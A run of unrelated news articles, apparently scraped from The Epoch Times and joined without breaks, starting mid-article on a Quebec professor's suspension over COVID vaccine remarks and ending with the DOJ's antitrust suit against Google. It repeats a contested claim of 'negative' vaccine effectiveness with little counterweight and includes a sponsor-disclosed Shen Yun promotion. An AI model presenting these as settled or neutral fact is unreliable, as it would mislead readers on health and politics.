It adds as a factor the the disregard and damage to the reputation of independent scientists expressing dissident views and critical analyses, in order to maintain social cohesion and preserve the single message of safety and effectiveness.

Censored and Suspended

This last point Provost experienced personally, when an article he wrote for media group Quebecor was taken offline one day after its publication last summer.

Provost had criticized the provinces management of the pandemic by noting how the elderly and sick were mostly the only group at risk from COVID-19.

Analysis of official government data revealed early on the two main risk factors of complications and death from COVID-19: advanced age and the number of preexisting medical conditions, particularly obesity, wrote Provost.

Quebecor explained its decision by saying it favours debate but elements of Provosts letter were inaccurate or could mislead the public. The media group did not provide any evidence to support the claim.

A few days earlier, Provost had been suspended for eight weeks by Laval University for saying theres no real benefit to vaccinate children against COVID-19.

Provost and his union, which support him, were supposed to participate in arbitration hearings this week regarding the suspension but they were postponed.

Laval University is mulling over a new suspension after receiving another complaint against Provost over the summer regarding similar comments he made on a radio show.

The effectiveness of vaccines is negative in Quebec since December 2021 (the government deleted this data from its reporting not long after). This means you have more risk to get infected if youre vaccinated, Provost wrote in a Facebook post commenting on his appearance on the show.

Quebec public health was effectively reporting at the time that the vaccinated were more likely to get infected and stopped sharing this data point on Jan. 5.
Coalition Sues Biden Administration Over Parole Program for Immigrants

President Joe Biden speaks during a Cabinet meeting in the White House in Washington on Jan. 5, 2023. (Drew Angerer/Getty Images)

President Joe Bidens administration is abusing federal law with its new program that is set to grant tens of thousands of immigrants authorization to live and work in the United States, a new lawsuit alleges.

Federal law enables the secretary of homeland security to grant parole to illegal immigrants after determining, on a case-by-case basis, that an immigrant is facing a humanitarian issue or that allowing the person stay in the country would have a significant public benefit.

But the administration is enabling tens of thousands of immigrants from four countries, including Venezuela, to receive parole after going through a background check and convincing a person already inside the United States to sponsor them.

The program flouts, rather than follows, the clear limits imposed by Congress, a new suit from Texas and 19 other states charges.

Its asking a federal court in southern Texas to declare the program illegal and order the administration to bring it to a halt.

The Biden open borders agenda has created a humanitarian crisis that is increasing crime and violence in our streets, overwhelming local communities, and worsening the opioid crisis, Ken Paxton, the Republican attorney general of Texas, said in a statement.

This unlawful amnesty program, which will invite hundreds of thousands of aliens into the U.S. every year, will only make this immigration crisis drastically worse.

The Department of Homeland Security (DHS) did not respond to a request for comment.

Program Starts, Then Expands

The program was launched in the fall of 2022, based on a parole program for Ukrainian refugees. Only Venezuelan nationals were initially offered the opportunity to apply for parole. Administration officials said they would grant parole for up to 24,000 Venezuelan nationals.

The administration expanded the program to nationals of three others countriesCuba, Nicaragua, and Haitiin January, and also announced it would accept up to 30,000 immigrants per month from across the four nations.

Under the program, immigrants must apply ahead of time for parole by providing the name of a person who will agree to financially support them if theyre approved. The immigrant must also pass a background check and present themselves at a Port of Entry, rather than entering the United States illegally.

Immigrants can claim certain criteria to circumvent Title 42, a public health order that enables U.S. authorities to expel many illegal immigrants. The criteria include being pregnant and not having access to safe housing in Mexico, according to a review by The Epoch Times.

Immigrants who illegally cross the border are barred from the program, administration officials said.

Were trying to make it easier for people to get here, opening up the capacity to get here, but not have them go through that god-awful process, Biden told a joint briefing with the presidents of Canada and Mexico earlier this month, describing the journey north.

Does Not Have the Authority

In official documents outlining the new process, DHS says it will process applications on a case-by-case basis and grant two years of work authorization to those who are approved. The agency cites the parole ability given to the secretary by Congress.

But Texas and the other states allege that authority is being abused, noting that under the program as many as 360,000 immigrants will be allowed into the United States.

The Department does not have the authority to invite more than a third of a million more illegal aliens into the United States annually as it has announced with this program, the suit says.

Parole powers were being used too broadly, Congress said in 1995 before adding limitations.

The text of section 212(d)(5) is clear that the parole authority was intended to be used on a case-by-case basis to meet specific needs, and not as a supplement to Congressionally-established immigration policy. In recent years, however, parole has been used increasingly to admit entire categories of aliens who do not qualify for admission under any other category in immigration law, with the intent that they will remain permanently in the United States. This contravenes the intent of section 212(d)(5), a congressional report stated at the time.

The limitations were making clear that parole was only allowed on a case-by-case basis  for urgent humanitarian reasons or significant public benefit.

The new program harms states like Texas because the states are increasingly having to spend money and resources dealing with illegal immigrants amid the border crisis that has developed since Biden took office, the states said.

The program will result in increased crime and drug trafficking in Kansas communities, requiring additional expenditures by Kansas law enforcement. This is because at least some proportion of those aliens will come to Kansas, it stated. That means more people in Kansas, at least some proportion of whom will engage in illegal activity and whom law-enforcement officials will inevitably encounter.

The government also violated federal law by not allowing for public comment before implementing the new program, the suit alleges.

Joining Texas in the action were Alabama, Alaska, Arkansas, Florida, Idaho, Iowa, Kentucky, Louisiana, Mississippi, Missouri, Montana, Nebraska, Ohio, South Carolina, Tennessee, Utah, West Virginia, and Wyoming.
Russell Van Wingerden (R) and his wife attended Shen Yuns matinee at the George Mason University Center for the Arts on Chinese New Year, Jan. 22, 2023. (Terri Wu/The Epoch

FAIRFAX, Va.Russell Van Wingerden, the president of Atlantic Building Supply, thoroughly enjoyed Shen Yuns matinee on Chinese New Year, Jan. 22. Sitting in the second row of George Mason University Center for the Arts, Mr. Van Wingerden exclaimed, I felt like I was almost on the stage!

He further added that though he cant actually get on stage with the dancers, he did play the trumpet when he was young, so being by the orchestra has really been fantastic.

According to its website, Shen Yuns touring orchestras are the first in the world to permanently combine classical Western and Eastern instruments. Combined with the dancers on stage, Shen Yuns original compositions told stories from ancient times to the modern day.

Im just so moved by the emotions of it. Im almost to tears half the time.  Russel Van Wingerden

During the performance, Mr. Van Wingerden felt Shen Yuns energy fill him. Im not good with words, he said, [but] Im just so moved by the emotions of it. Im almost to tears half the time.

He was also touched by how the dancers showed so much feeling in their movements.

Based in New York, Shen Yun Performing Arts was founded by leading Chinese artists seeking to revive Chinas 5,000 years of divinely inspired culture that had been destroyed by decades of communist rule.

Every year, Shen Yun artists present a brand-new set of programs to share with everyone the beauty of China before communism. For the 2023 touring season, Shen Yun is slated to perform in over 180 cities across five continents around the world.

Mr. Van Wingerden said he doesnt know too much about Asian culture but he loved Shen Yuns depiction of Chinese history.

The more I get to know, the more Im really impressed.

Reporting by Terri Wu and Jennifer Tseng.

The Epoch Times is a proud sponsor of Shen Yun Performing Arts. We have covered audience reactions since Shen Yuns inception in 2006.
Coordinated Strike by Nurses and Ambulance Workers a Step Change in NHS Dispute: UK Health Official

Members of the Royal College of Nursing on the picket line outside the Alder Hey Children's Hospital in Liverpool as nurses in England, Wales, and Northern Ireland take industrial action over pay, on Dec. 15, 2022. (Peter Byrne/PA Media)

The coordinated strike action by nurses and ambulance workers next month will mark a step change in the labour dispute in Britains National Health Service (NHS), a senior health service leader has warned.

The UK is expected to see the biggest-ever strike action within the NHS on Feb. 6, when ambulance staff and nurses plan to walk out simultaneously for the first time.

Chris Hopson, chief strategy officer for NHS England, said it will be a difficult day.

Talking to the Health and Social Care Committee in the House of Commons on Tuesday, he said, Next month will see a step change in the action arising from the dispute between the trade unions and the government.

Ambulances parked during a strike outside Waterloo ambulance station, London, on Dec. 21, 2022. (Kirsty OConnor/PA Media)

New Phase

Hopson said that Feb. 6 is expected to be the biggest strike day in NHS history for five reasons.

Firstly, were going to have nursing and ambulance unions planning coordinated industrial action across the country. Secondly, we know that the nursing stoppage will last for two days, rather than one.

Thirdly, we know that the numbers of trusts affected will go from 44 in December to 55 in January to 73 in February; there is now a shorter gap between the strikes; and this strike starts on a Monday, which effectively makes it difficult to deploy the discharge of patients to improve flow, which is what weve been doing in previous strikes.

He said the NHS is now entering a new and more difficult phase in the dispute.

But he said the health service is doing all it can to make sure that those who need care receive it.

Dr. Adrian Boyle, president of the Royal College of Emergency Medicine, said that ongoing issues in the NHS came to a head in December, which he described as awful.

He said he is concerned that during ambulance strikes, some vulnerable people who need support may not seek help.

We worry that there will be people who dont want to make a fuss, who are desperate not to go into hospital and not to bother people, he said.

Hopson stressed, It is incredibly important that any patient who does have a life-threatening emergency does call 999 and that for any other urgent care, please use 111 online.

British Prime Minister Rishi Sunak attends a media broadcast interview during his visit during a visit to Berrywood Hospital in Northampton, on Jan. 23, 2023. (Toby Melville/POOL/AFP via Getty Images)

Worsening Dispute

The Royal College of Nursing is set to stage strikes on Feb. 6 and 7, which will involve 73 NHS trusts in England and all but one NHS employer in Wales, unless the government agrees to review the pay deal for this year.

The GMB union stated that more than 10,000 ambulance workers, including paramedics, emergency care assistants, and call handlers, will stage strikes on Feb. 6the same day on which nurses are strikingand on Feb. 20, March 6, and March 20.

The Unite union said that workers from five ambulance trusts in England and Wales would also join the strike on Feb. 6.

It comes after thousands of nurses across England went on strike on Jan. 18 and 19, while about 1,000 ambulance workers in Wales also walked out on Jan. 19.

On Monday, Prime Minister Rishi Sunak told ITV News: Taking a step back, of course it would be lovely to be able to wave a magic wand and just give everyone what they were demanding when it came to pay. But my job as prime minister is to make the right decisions for the country, and they are, more often than not, not easy decisions.

But thats my job, and thats what I will always do in this job, and when you think about this, how would we pay for these things? Wheres the money going to come from?

Actually, its probably going to have to come from elsewhere in the NHS budget, and that means fewer nurses, fewer doctors, fewer MRI scanners and CT scanners that are diagnosing people with cancer, or indeed fewer mental health ambulances that were announcing today that are going to save people from going to A&E.

My job is to balance all of those things and do what I believe is right for the country.

But he said the government would continue talks with unions.

Sharon Graham, general secretary of the Unite union, told LBC radio on Monday: Theres many, many days between now and Feb. 6, and I hope the government come to their senses, get the general secretaries around the tablewe will be there any time, any place, anywhereand do this deal.

So, I really hope that Feb. 6 doesnt go ahead because the government puts an offer on the table. If they dont do that, of course it will go ahead. It will be a very bad day for the NHS, everybody will feel that.

PA Media contributed to this report.
Corrupt Officer or Cartel Enemy? Former Mexico Drug Czars US Trial Kicks Off

Mexico's Public Security Minister Genaro Garcia Luna attends a meeting with the Human Rights commission at the Senate in Mexico City on Nov. 29, 2012. (Tomas Bravo/Reuters)

NEW YORKU.S. prosecutors on Monday accused a former top Mexican official on trial for allegedly taking bribes from the Sinaloa Cartel of betraying his country, while his defense said prosecutors were being played by drug traffickers out for revenge.

Federal prosecutors in Brooklyn say Genaro Garcia Luna, who led Mexicos Federal Investigation Agency from 2001 to 2005 and was Public Security Minister from 2006 to 2012, gave the Sinaloa Cartel information about its rivals and safe passage for drug shipments in exchange for tens of millions of dollars.

Garcia Luna, who was arrested in 2019 in Texas, pleaded not guilty in 2020 to five counts, including continuing criminal enterprise and conspiracy to distribute cocaine.

During opening statements on Monday, Philip Pilmar, a prosecutor, said Garcia Luna made some arrests and seized some drugs to keep up appearances, but in reality was on the payroll of the cartel once run by Joaquin El Chapo Guzman.

The defendant took their money and betrayed his oath to his country, Pilmar said. The person who was supposed to be in charge of fighting the Sinaloa Cartel was actually its most valuable asset.

Pilmar said prosecutors would call former cartel members who have since pleaded guilty and agreed to cooperate with their investigation as witnesses. Cesar de Castro, Garcia Lunas defense lawyer, said those witnesses were lying to lower their sentences and get back at the man responsible for their arrests.

What better revenge than to bury the man who led the war against the cartels? de Castro told jurors. Dont let the cartel members play you.

During his time in office, Garcia Luna worked closely with U.S. counter-narcotics and intelligence agencies. De Castro displayed to the jury pictures of Garcia Luna with former U.S. President Barack Obama, former Secretary of State Hillary Clinton, and former Attorney General Eric Holder.

$3 Million in a Suitcase

Garcia Luna is one of the highest-ranking Mexican officials to be accused of aiding drug trafficking groups. He ran public security under former President Felipe Calderon, who sent in Mexicos armed forces to tackle drug gangs and put clamping down on organized crime at the center of his 20062012 administration.

Following Garcia Lunas arrest, Calderon expressed profound shock and issued a statement saying he was completely unaware of what his former security minister is alleged to have done. The former president urged the full force of the law to be applied in the event Garcia Luna was found guilty.

During Guzmans trial in 2018, the brother of one of his partners testified that he had given Garcia Luna a suitcase containing $3 million in 2005 or 2006, and paid him another $3 million to $5 million in 2007. Garcia Luna at the time called those allegations defamation and without proof.

Guzman was sentenced to life in prison in 2019 following his conviction in Brooklyn on drug trafficking and murder conspiracy charges. He is held at a high-security Supermax prison in Colorado.

By Luc Cohen
Declining Birth Rate Threatens Japanese Societys Ability to Function, Kishida Warns

Japan will cease to function as a society if its birth rate continues to decline, Prime Minister Fumio Kishida said on Monday, urging his government to create a children-first economic society.

Japan is at a critical point of whether we can continue to function as a society. Focusing on policies regarding children and child-rearing is an issue that cannot be postponed, Kishida said at a parliament session.

According to Kishida, the government would increase its spending on child-related programs and establish a children and families agency in April to develop policies on children and child-rearing.

We must establish a children-first economic society and turn around the birth rate, he stated. We will also work on the introduction of a career-based scholarship system to reduce the burden of higher education.

Japan has, in recent years, offered cash bonuses and childcare incentives to encourage people to have more children, but these efforts have had little impact.

The nations population currently stands at 125 million and has been in continuous decline for 14 years. Kishida said that the number of births dropped below 800,000 last year, citing government estimates.

Nearly 28 percent of Japans population was over the age of 65 in 2017, and this figure is projected to increase to 38.4 percent in 2065, according to a study published by Global Health and Medicine. The working-age population in Japan is shrinking even more quickly due to aging.

Elderly women chat along a street while a mother walks with her child in Tokyos Minami-Magome area on July 20, 2021. (Charly Triballeau/AFP via Getty Images)

The ASEAN+3 Macroeconomic Research Office (AMRO) revealed in a 2019 report that Japans working-age population dropped from 87 million in 1993 to 75.3 million in 2018, resulting in a severe labor shortage in the countrys economy.

This not only hurts a countrys growth potential but also affects negatively Japans fiscal sustainability due to increases in social expenditure such as higher pension and healthcare spending, the report reads.

Chinas Population Decline

Aside from Japan, China is also struggling with a declining birth rate. Chinas population fell last year for the first time since the 1960s, according to Chinese officials, because of fewer births and an increase in deaths, strengthening fears about a long-term economic decline.

The decline, by roughly 850,000 people to a total of 1.41175 billion in 2022, according to the countrys National Bureau of Statistics (NBS), is the first drop officially reported by China since 1961the last year of the countrys Great Famine.

The number of the working-age populationwhich includes 16- to 59-year-old individualscame in at 875.56 million, or 62 percent of the national population. Those older than 65 are 14.9 percent of the total. The population data doesnt include people from Hong Kong, Macao, or foreign residents.

Some experts expect Chinas economic crisis to be worse than what occurred in Japan in the 1990s. Japans shrinking population has been blamed for years of low growth.

Chinas population data release came as Beijing announced that the countrys gross domestic product grew just 3 percent in 2022, down from 8.1 percent in 2021.

The blame for the declining population falls mainly on the Chinese Communist Partys (CCP) decades-long one-child policy that was imposed in 1979. The Chinese regime resorted to forced sterilization and abortion to enforce the rule, which was lifted in 2016.

The low birth rate is an indication that younger Chinese citizens are now unwilling to have children, Frank Tian Xie, a professor in business and an associate professor of marketing at the University of South CarolinaAiken, told The Epoch Times in an interview last year.

Housing, education, child care, and medical costs all add up to an absolutely prohibitive cost of having  children, he said. Young people simply do not want to get married or have children as a result of the high costs.

Naveen Athrappully contributed to this report.
Dubai Chamber of Commerce has announced new sector-specific business groups for four economic sectors: Agribusiness, Furniture and Home Furnishing, Flower Traders and Tyre Traders.

The Chamber plans to increase the number of sector-specific business support groups to 100 by March 2023.

Mohammad Ali Rashed Lootah, President & CEO of Dubai Chambers, said: This latest raft of business groups is designed to encourage greater cooperation, mutual knowledge sharing and greater understanding of the synergies that exist between competitors in each sector, in terms of domestic, regional and international trading opportunities.

Support services

Lootah noted that the four sectors are all key in the overall economic growth of Dubais economy, but equally, will all benefit from the wide range of support services offered by the Chamber. It is vital that we ensure every sector of Dubais growing economy receives the support they need to thrive."

Lootah said that the aim is to promote the development of UAE-based companies and raise the profile of business group members in the international business community.

The groups will deliver a suitable forum to facilitate mutual dialogue between government entities and relevant group stakeholders and update group members on relevant policy matters related to industry, domestic and international trade and investment.

Business Group members will also have a platform to exchange information and experiences and to communicate and interact with public and private entities on policy matters related to the groups respective sectors, by means of meetings, gatherings, seminars, conferences, receptions, and other fora of exchange, he explained.

Knowledge skills

Each business group will also enjoy the opportunity to contribute to the development of knowledge, skills and best approaches in industrial, trade and investment policy, and promote exchanges on those policy matters with similar groups internationally.

The creation of sector-specific business groups is in line with our ongoing mission to continuously improve the business environment in Dubai and support member companies with their global expansion plans, added Lootah.

Agribusiness

As Dubai strives to increase food security and reduce reliance on imports, the agribusiness sector is a vital element in the economic mix. Dubais rich investment ecosystem has already seen development of the worlds largest vertical farm and is set to become the world's biggest 'agritourism' destination by 2030, with the opening of this ambitious farming and tourism zone.

The UAE imports around 85% of the food it consumes. As a snapshot of total volume growth in different food categories, Euromonitor reports that between 2017 and 2022, sales of fresh vegetables grew by 17%, pulses by 21.4%, meat by 21.4% and other fresh food by 16.1%.

Furniture and home furnishing

A release of pent-up demand for home furnishing was seen in 2021, with sales exceeding the pre-pandemic level. Growth was also marked in new e-commerce channels in the home furnishing sector, with growth seen in bedding, home office furniture and gaming furniture  driven by enforced time at home and the global shift to working from home.

According to Euromonitor International data, major sales growth categories between 2016 and 2021 include mattresses (with a 31.3% growth in sales volume) sofa beds (27.2% growth), curtains (28.1%) and light sources (35.9%), again reflecting the societal shift towards spending more time at home induced by the pandemic.

To continue this upward growth trend, the business group will explore ways to maintain a positive upward sales volume growth.

Flower traders

According to Dubai Customs, Dubais flower total trade value was AED1.5 billion ($410 million) in the period between 2011 and 2021.

Dubai Flower Centre, a dedicated free zone within Dubai International Airport for the import and export of flowers, brings enormous cost benefits to international shippers, connecting more than 15 producing countries with Asian, African and Middle Eastern markets.

Tyre traders

According to Dubai Customs, Dubais tyre total trade value was AED65.2 billion in the period between 2011 and 2021. This reflects the sector is in a growth phase, especially given that Dubai has one of the highest vehicle densities in the world.-- TradeArabia News Service
A Bismarck man arrested Friday after a daylong search is charged with aggravated assault for allegedly stabbing his girlfriend.

Lucio Cruz, 51, made his initial court appearance Monday. Hell enter a plea later.

Cruz faces a possible five-year prison sentence if hes convicted. The attorney listed for him did not immediately respond to a request for comment.

Police earlier in the day Friday had asked for the publics help in locating Cruz. Officers on Thursday responded to a North 20th Street residence on a call that a woman had been stabbed. Haliegh Bryson, 30, told police that Cruz punched her in the face after the two argued, according to an affidavit. She fell onto a couch, and Cruz allegedly stabbed her and fled. Her wounds were not life-threatening, police said.

Cruz was charged with aggravated assault in March 2020 after a stabbing in Bismarck. Officers a few weeks later used less-than-lethal rounds to subdue and arrest him during a traffic stop near Divide Avenue and State Street. He pleaded guilty in March 2021 and was sentenced to two years in prison. He was given credit for nearly a year of time served.

Cruz is scheduled for a Feb. 1 trial on charges that he as a violent felon possessed a firearm, according to court records. He was arrested on that charge last July when officers responded to an anonymous call that a woman was being held against her will in a North 20th Street apartment or camper outside it. They found his name on Department of Corrections and Rehabilitation paperwork, and allegedly found a 12-gauge shotgun under the mattress. He denied owning the shotgun. He faces up to five years in prison if convicted in that case.
Democrats Seeking to Revive Federal Weapons Ban Following Recent Mass Shootings

Bill announced this week would prohibit long list of rifles, pistols, shotguns and magazines

President Joe Biden delivers remarks in the State Dining Room at the White House in Washington, on Nov. 9, 2022. (Samuel Corum/Getty Images)

President Joe Biden praised Democrats on Jan. 23 for attempting to revive a ban on certain types of semiautomatic firearms that was allowed to sunset more than 28 years ago because it could not be shown to have significantly affected crime.

Today, Sen. [Diane] Feinstein, with whom I worked  to pass the last assault weapons ban in 1994, has once again introduced an assault weapons and high-capacity magazine ban in the Senate, as well as legislation raising the age to purchase them to 21, read a statement posted to the White House webpage.

On her webpage, the Democrat California Senator announced the Age 21 Act.

U.S. Sen. Dianne Feinstein (D-Calif.) speaks during a Senate Intelligence Committee confirmation hearing on Capitol Hill in Washington, on July 25, 2018. (Nicholas Kamm/AFP/Getty Images)

Feinsteins bill would ban any semiautomatic firearm with pistol grips, barrel shrouds, telescoping or adjustable stocks, threaded barrels, and detachable magazines, among a list of other features.

In addition, the bill lists specific brands and types of rifles, pistols, and shotguns that would be banned as so-called high-capacity magazines.

Feinstein, who has represented California in the Senate since 1992, cited recent mass shootings as the reasons she decided to push to reinstate the first Federal Weapons Ban, which expired in 2004.

We were tragically reminded this weekend of the deadly nature of assault weapons when a shooter used one to kill 11 people and injure nine more at a lunar New Year celebration in California, read the statement on Feinsteins webpage.

Background Checks

According to her webpage, the bill would ban the sale, transfer, and importation of 205 military-style assault weapons by name. Listed weapons that are currently legally owned would be grandfathered under the bill.

The bill would also ban assault weapons that use detachable magazines and magazines or other ammunition feeding devices that hold more than 10 rounds of ammunition, which allows shooters to fire many rounds without need to the reload quickly.

Such devices that are currently legally owned would be grandfathered as well.

The bill also requires a background check for the sale, trade, or gifting of any weapon covered by the bill and requires that any grandfathered weapons are stored using a secure gun storage or safety device like a trigger lock.

It prohibits the transfer of high-capacity ammunition magazines and bans bump-fire stocks and other devices that allow semi-automatic weapons to fire at fully automatic rates.

Original Ban Allowed to Sunset

The bill reportedly exempts more than 2,200 guns used for hunting, home defense, and recreational purposes, and exempts all weapons lawfully owned at the date of enactment.

It also raises the age to legally purchase assault weapons to 21.

The bill is co-sponsored by Senator Richard Blumenthal (D-Conn.) and Chris Murphy (D-Conn.).

Congressman David Cicilline (D-R.I.) is expected to introduce a companion version of the bill in the U.S. House of Representatives.

In 1994, during the administration of President Bill Clinton, Congress implemented a 10-year Federal Weapons Ban as part of the larger Violent Crime Control and Law Enforcement Act of 1994.

While the ban was billed as the remedy for violent crime, it was allowed to sunset after three studies found no evidence it had a noticeable impact.
DeSantis Proposes Higher Pay and a Bill of Rights For Floridas Teachers

Florida Gov. Ron DeSantis proposed teacher pay hikes, a teachers bill of rights and new restrictions on teachers' unions on January 23, 2022 in a speech in Jacksonville, Fla. Here, striking Chicago school teachers and their supporters demonstrate on Oct. 17, 2019. (Scott Olson/Getty Images)

Florida Governor Ron DeSantis proposed a battery of education measures on Jan. 23 that he said would empower teachers, raise their pay, shorten term limits for school board members, and protect teachers from overreaching unions or school districts.

Speaking at a charter school in Jacksonville, DeSantis ticked off points in the proposed legislation. Key among them will be keeping funds targeted for teacher pay rises from being used for any other purposes.

DeSantis said many teachers had yet to get raises from two rounds of state funding in previous years, despite $2 billion being set aside for that purpose. The governor said now another billion dollars had been added to the total.

Florida Gov. Ron DeSantis celebrates signing into law provisions that would ban certain discussions about sexual orientation and gender identity in school classrooms from kindergarten to third grade, on March 28, 2022. (Courtesy of Florida Governors Office)

We passed our most recent teacher pay increase. The legislature passed it last March, I signed it into law probably sometime in May, and even to this day, not every school district has raised the teacher salaries like theyre required to do, DeSantis said.

Earlier rounds focused on raising the minimum teachers pay in the state from less than $40,000 to an average minimum of $48,000, making the career more attractive to college graduates, particularly those with loans to pay off, he said.

DeSantis said his administration is looking out for teachers when their school districts, administrations, or unions, dont.

Tougher on Unions, School Boards

Under the legislation unions would have to be more transparent, would be audited annually, and there would be state investigations of suspected waste, fraud, and abuse.

Union dues would not be deducted automatically from teachers pay and they would have to notify members of the cost of membership annually. They would not be allowed to distribute union materials in the workplace and officials could not earn more than the highest-paid union member.

DeSantis said they sometimes now make twice as much.

School board members and superintendents could not accept a personal or work-related benefitsuch as a secret office account from a school unionand they would face eight-year term limits, down from the current 12.

DeSantis noted a side issue.

Not only are school board elections non-partisan, but in some cases, candidates cant even say what party he or she belongs to. DeSantis said legislation may include a provision making that explicit.

They have a First Amendment right to do that, the governor said.

Underlying the concern was that some candidates have been elected not clearly stating what they stand for, or intend to do once elected, he said.

We want to embrace the idea that if youre campaigning for these positions, you can identify yourself however you want to identify yourself, and if thats with a political party, youre absolutely able to do it.

Knowing What Candidates Stand For

You have counties  in Southwest Florida that voted for me by like 40 points, and yet theyre electing people to school boards who are totally the opposite philosophy. But these people are running, saying that theyre sharing the philosophy, then they get on and they do something different.

So we want transparency. We want people to be able to do what they think is best and educate voters to the maximum degree.

On a teachers bill of rights, DeSantis said teachers should not be put in a situation where theyre being told they have to violate clear policies of the state of Florida that are enacted in statute. And so these protections will include that now if youre following the law, youre good to go.

It doesnt matter if the school board or superintendent thinks otherwise.

I think were going to have less of that going forward this year because I think, quite frankly, weve elected a lot of people to school boards across the state who are not going to want to behave in that fashion.

Education, Not Indoctrination

Taking questions from reporters, DeSantis talked about Floridas decision to reject the proposed curriculum for the African American Studies Advanced Placement (AP) course.

We want education, not indoctrination, he said. This course is on black history. One of the lessons is about Queer theory. Who would say an important part of black history is queer theory? Thats someone pushing an agenda on our kids.

The state also objected to the course advocating positions like abolishing prisons.

Thats a radical political position.
DOD Awards New $3 Million Grant to EcoHealth Alliance Group Tied to Wuhan Lab

Security personnel stand guard outside the Wuhan Institute of Virology in Wuhan as members of the World Health Organization (WHO) team investigating the origins of the COVID-19 coronavirus make a visit to the institute in Wuhan in China's central Hubei province on Feb. 3, 2021. (Hector Retamal/AFP via Getty Images)

The Department of Defense (DOD) in December awarded a $3 million grant to EcoHealth Alliance Inc, the nonprofit organization that for years prior to the COVID-19 pandemic funneled money to the Wuhan Institute of Virology in China.

The DOD awarded the approximately $2,987,827.07 grant to EcoHealth beginning Dec. 12 for the purpose of reducing the threat of viral spillover from wildlife in the Philippines, according to USASpending.gov, a database of spending by the federal government.

The grant will expire in December 2025, the records show.

According to records, the grant was awarded as part of a Defense Threat Reduction Agency (DTRA) program that aims to support and stimulate basic, applied and advanced research at educational or research institutions, non-profit organizations, and commercial firms, which support the advancement of fundamental knowledge and understanding of the sciences with an emphasis on exploring new and innovative research for combating or countering Weapons of Mass Destruction (WMD).

DTRA has spent from $100,000 per year to $1,000,000 per year over a 5-year period on such research, according to the System for Award Management (SAM).

EcoHealth Alliance describes itself as a global environmental health nonprofit organization dedicated to protecting wildlife and public health from the emergence of disease, on its official website.

However, the New York-based nonprofit has come under scrutiny from Republican lawmakers and experts after documents released in 2021 detailed its work using federal money to fund research into bat coronaviruses at the Chinese lab.

Peter Daszak, right, the president of the EcoHealth Alliance, is seen in Wuhan, China, on Feb. 3, 2021. (Hector Retamal/AFP via Getty Images)

NIH, NIAID Award Grants to EcoHealth Alliance

According to the documents, the National Institutes of Health (NIH) awarded a number of grants to EcoHealth Alliance between 2014 and 2019 amounting to over $3 million, including one for $666,422 for research into Understanding the Risk of Bat Coronavirus Emergence.

Led by EcoHealth Alliance President Peter Daszak, the research was set to investigate the ecology, evolutionary biology, and transmission dynamics of bat coronaviruses at the human-wildlife interface.

Specifically, we will conduct field studies in China to obtain high-quality samples from bats, and identify, characterize and isolate known and novel coronavirus, the grant proposal reads. We will analyze the patterns of coronavirus transmission among bats and other wildlife, and the risk of spillover to humans.

Some U.S. intelligence officials said that the virus that causes COVID-19 might have come from the Wuhan lab, but other officials have argued it has a natural origin.

Daszak, who has dismissed the lab leak theory, was initially part of the World Health Organization (WHO) team investigating the origins of COVID-19 in China, but the teams report was largely hindered by Beijings lack of data.

NIH subsequently ended a subgrant to EcoHealth in 2020, some of which was conveyed to the Wuhan Institute of Virology, due to its failure to meet award terms and conditions.

However, in September 2022, EcoHealth Alliance received another government grant from the National Institute of Allergy and Infectious Diseases (NIAID), previously headed by Anthony Fauci, despite those concerns over its violation of the term of its contracts.

According to NIH, the nonprofit failed to comply with eight different portions of a written agreement it entered into with the U.S. government about funding it sent to the Wuhan lab, including failing to allow access to the Wuhan labs records and financial statements as well as report inventions created at the lab, among others.

Despite this, the nonprofit was approved for a five-year federal grant by NIAID in 2022 amounting to $653,392 in 2022 which is set to expire in August 2027.

Dr. Anthony Fauci in Washington on Nov. 22, 2022. (Win McNamee/Getty Images)

Fauci Defends Funding, Downplays Lab Leak Theory

That grant was provided to aid research into the potential for future bat coronavirus emergence in Myanmar, Laos, and Vietnam, according to the NIH RePORTER website.

In a Jan. 13, 2022 letter (pdf) to Fauci, Reps. James Comer (R-Ky.), Steve Scalise (R-La.), and Jim Jordan (R-Ohio) said they had grave concerns that one of Faucis last acts as head of NIAID was to send even more taxpayer dollars to an organization whose prior involvement in the very same subject may have contributed to a global pandemic.

We write seeking information about your decision, including whether anyone at NIH has a financial or other non-official interest in EcoHealth continuing to receive taxpayer funds, the lawmakers wrote.

It is outrageous that the results of U.S. taxpayer-funded experiments are unavailable to the U.S. government, particularly when those experiments could shed light on the origins of a virus that has killed more than one million Americans. It is unconscionable that you would choose to continue to fund a company that has violated its NIH grant terms in a manner that helps to keep this valuable information from the U.S. government and American taxpayers, they added.

Fauci has downplayed the lab leak theory and defended the grants to EcoHealth Alliance, arguing that the lab research was important and needed to determine what was out there in the bat population that might be ultimately risky for us.

It was done in the context of trying to find out what the precise environmental bat source was of SARS-CoV-2 so that we could prevent SARS-CoV-2, Fauci told Fox News in 2021. So it was research that was done by qualified people.

The Epoch Times has contacted the Department of Defense for comment.
DOJ Files Lawsuit Against Google in New Escalation

A sign is pictured out of a Google office near the company's headquarters in Mountain View, Calif., on May 8, 2019. (Paresh Dave/Reuters)

The Department of Justice and eight states on Tuesday filed a lawsuit against Alphabet-owned Google, calling for the breakup of the firms ad-technology business and alleging its engaged in monopolistic practices.

Google abuses its monopoly power to disadvantage website publishers and advertisers who dare to use competing ad tech products in a search for higher quality, or lower cost, matches, said the Justice Department in a complaint (pdf) filed in a federal court in Virginia.

The lawsuit is the second federal antitrust complaint filed against Google, alleging violations of antitrust law in how the company acquires or maintains its dominance. The Justice Department lawsuit filed against Google in 2020 focuses on its monopoly in search and is scheduled to go to trial in September.

Google has used anticompetitive, exclusionary, and unlawful means to eliminate or severely diminish any threat to its dominance over digital advertising technologies, the government said in its antitrust complaint on Tuesday.

Monopolies stifle innovation and increase costs for consumers, said Attorney General Merrick Garland in a news conference announcing the lawsuit. The U.S. government, he said, has suffered as a result of Googles allegedly monopolistic practices because it has overpaid for advertisements through its networks.

The suit takes aim at Googles advertising business, which is responsible for some 80 percent of the Mountain View, California-based companys revenue. In addition to its well-known search, which is free, Google makes revenue through its interlocking ad tech businesses, which connect advertisers with newspapers, websites, and other firms looking to host them.

But over the years, advertisers and website publishers have complained that Google has not been transparent about where ad dollars go, specifically how much goes to publishers and how much to Google. The tech giant made a series of purchases, including DoubleClick in 2008 and AdMob in 2009, to help make it a dominant player in online advertising.

Google, the Justice Department said, has corrupted legitimate competition in the ad tech industry by engaging in a systematic campaign to seize control of the wide swath of high-tech tools used by publishers, advertisers, and brokers, to facilitate digital advertising. Having inserted itself into all aspects of the digital advertising marketplace, Google has used anticompetitive, exclusionary, and unlawful means to eliminate or severely diminish any threat to its dominance over digital advertising technologies, according to the filing.

